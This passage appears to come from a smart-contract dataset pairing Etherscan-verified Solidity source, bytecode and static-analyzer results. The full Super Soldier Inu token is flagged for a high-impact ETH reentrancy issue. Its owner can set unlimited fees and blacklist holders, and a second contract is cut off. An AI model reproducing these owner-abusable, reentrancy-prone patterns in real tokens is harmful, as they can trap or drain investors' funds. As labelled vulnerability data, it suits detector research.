47320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208dd5ce95b0a137b43ea65e1c9afcc54ac344841a9b2936ae1dcc4a14e2c951e964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 971 |
0x09b026f1b3ffdde67717cf68b5a4d51b8d60a3c4 | /**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/**
Twitter - https://twitter.com/SuperSoldierInu
Website - https://SuperSoldierInu.com
Telegram - https://t.me/SuperSoldierInu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperSoldierInu is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Super Soldier Inu";//////////////////////////
string private constant _symbol = "SSI";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 9;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 9;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x565E8Fa91B3D707FDaA2b02ac4BB39f35e175FFC);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x47443d63B9B71aCB503190c0D4c82ce44761389a);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf71461041b5780638f9a55c01461043b57806395d89b411461045157806398a5c3151461047d57600080fd5b806374010ece146103c75780637d1db4a5146103e75780638da5cb5b146103fd57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035d5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d57600080fd5b80631694505e116101a05780631694505e1461026f57806318160ddd146102a757806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023f57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611abe565b6105c8565b005b3480156101ff57600080fd5b50604080518082019091526011815270537570657220536f6c6469657220496e7560781b60208201525b6040516102369190611bf0565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a0e565b610667565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50662386f26fc100005b604051908152602001610236565b3480156102d757600080fd5b5061025f6102e63660046119cd565b61067e565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610236565b34801561032957600080fd5b5060155461028f906001600160a01b031681565b34801561034957600080fd5b506101f161035836600461195a565b6106e7565b34801561036957600080fd5b506101f1610378366004611b8a565b610732565b34801561038957600080fd5b506101f161077a565b34801561039e57600080fd5b506102bd6103ad36600461195a565b6107c5565b3480156103be57600080fd5b506101f16107e7565b3480156103d357600080fd5b506101f16103e2366004611ba5565b61085b565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506000546001600160a01b031661028f565b34801561042757600080fd5b506101f1610436366004611b8a565b61088a565b34801561044757600080fd5b506102bd60175481565b34801561045d57600080fd5b5060408051808201909152600381526253534960e81b6020820152610229565b34801561048957600080fd5b506101f1610498366004611ba5565b6108d2565b3480156104a957600080fd5b506101f16104b8366004611bbe565b610901565b3480156104c957600080fd5b5061025f6104d8366004611a0e565b61093f565b3480156104e957600080fd5b5061025f6104f836600461195a565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101f161094c565b34801561052e57600080fd5b506101f161053d366004611a3a565b6109a0565b34801561054e57600080fd5b506102bd61055d366004611994565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101f16105a3366004611ba5565b610a41565b3480156105b457600080fd5b506101f16105c336600461195a565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c45565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611d8c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611d5b565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611dce602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c45565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c45565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b03811660009081526002602052604081205461067890611279565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c45565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c45565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c45565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c45565b600893909355600a91909155600955600b55565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112fd565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c45565b60005b82811015610a3b5781600560008686858181106109ec576109ec611d8c565b9050602002016020810190610a01919061195a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611d5b565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c45565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c45565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611ceb565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112fd565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b84848484611486565b600081848411156111de5760405162461bcd60e51b81526004016105f29190611bf0565b5060006111eb8486611d44565b95945050505050565b6012546001600160a01b03166108fc61120e8360026114b4565b6040518115909202916000818181858888f19350505050158015611236573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112518360026114b4565b6040518115909202916000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112e05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b60006112ea6114f6565b90506112f683826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134557611345611d8c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139957600080fd5b505afa1580156113ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d19190611977565b816001815181106113e4576113e4611d8c565b6001600160a01b03928316602091820292909201015260145461140a9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611443908590600090869030904290600401611c7a565b600060405180830381600087803b15801561145d57600080fd5b505af1158015611471573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149357611493611519565b61149e848484611547565b80610a3b57610a3b600e54600c55600f54600d55565b60006112f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163e565b600080600061150361166c565b909250905061151282826114b4565b9250505090565b600c541580156115295750600d54155b1561153057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611559876116aa565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158b9087611707565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ba9086611749565b6001600160a01b0389166000908152600260205260409020556115dc816117a8565b6115e684836117f2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162b91815260200190565b60405180910390a3505050505050505050565b6000818361165f5760405162461bcd60e51b81526004016105f29190611bf0565b5060006111eb8486611d03565b6006546000908190662386f26fc1000061168682826114b4565b8210156116a157505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c78a600c54600d54611816565b92509250925060006116d76114f6565b905060008060006116ea8e87878761186b565b919e509c509a509598509396509194505050505091939550919395565b60006112f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b6000806117568385611ceb565b9050838110156112f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b60006117b26114f6565b905060006117c083836118bb565b306000908152600260205260409020549091506117dd9082611749565b30600090815260026020526040902055505050565b6006546117ff9083611707565b60065560075461180f9082611749565b6007555050565b6000808080611830606461182a89896118bb565b906114b4565b90506000611843606461182a8a896118bb565b9050600061185b826118558b86611707565b90611707565b9992985090965090945050505050565b600080808061187a88866118bb565b9050600061188888876118bb565b9050600061189688886118bb565b905060006118a8826118558686611707565b939b939a50919850919650505050505050565b6000826118ca57506000610678565b60006118d68385611d25565b9050826118e38583611d03565b146112f65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b803561194581611db8565b919050565b8035801515811461194557600080fd5b60006020828403121561196c57600080fd5b81356112f681611db8565b60006020828403121561198957600080fd5b81516112f681611db8565b600080604083850312156119a757600080fd5b82356119b281611db8565b915060208301356119c281611db8565b809150509250929050565b6000806000606084860312156119e257600080fd5b83356119ed81611db8565b925060208401356119fd81611db8565b929592945050506040919091013590565b60008060408385031215611a2157600080fd5b8235611a2c81611db8565b946020939093013593505050565b600080600060408486031215611a4f57600080fd5b833567ffffffffffffffff80821115611a6757600080fd5b818601915086601f830112611a7b57600080fd5b813581811115611a8a57600080fd5b8760208260051b8501011115611a9f57600080fd5b602092830195509350611ab5918601905061194a565b90509250925092565b60006020808385031215611ad157600080fd5b823567ffffffffffffffff80821115611ae957600080fd5b818501915085601f830112611afd57600080fd5b813581811115611b0f57611b0f611da2565b8060051b604051601f19603f83011681018181108582111715611b3457611b34611da2565b604052828152858101935084860182860187018a1015611b5357600080fd5b600095505b83861015611b7d57611b698161193a565b855260019590950194938601938601611b58565b5098975050505050505050565b600060208284031215611b9c57600080fd5b6112f68261194a565b600060208284031215611bb757600080fd5b5035919050565b60008060008060808587031215611bd457600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1d57858101830151858201604001528201611c01565b81811115611c2f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cca5784516001600160a01b031683529383019391830191600101611ca5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfe57611cfe611d76565b500190565b600082611d2057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3f57611d3f611d76565b500290565b600082821015611d5657611d56611d76565b500390565b6000600019821415611d6f57611d6f611d76565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b178f219be1e9e121b84de501bee07b811469a32c62db292e21799f82eeba60d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 972 |
0x38bf41da434ad3d899f2afc5c5e969512b3d76eb | /**
*Submitted for verification at Etherscan.io on 2021-10-02
*/
/**
https://t.me/looneytunestoken
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
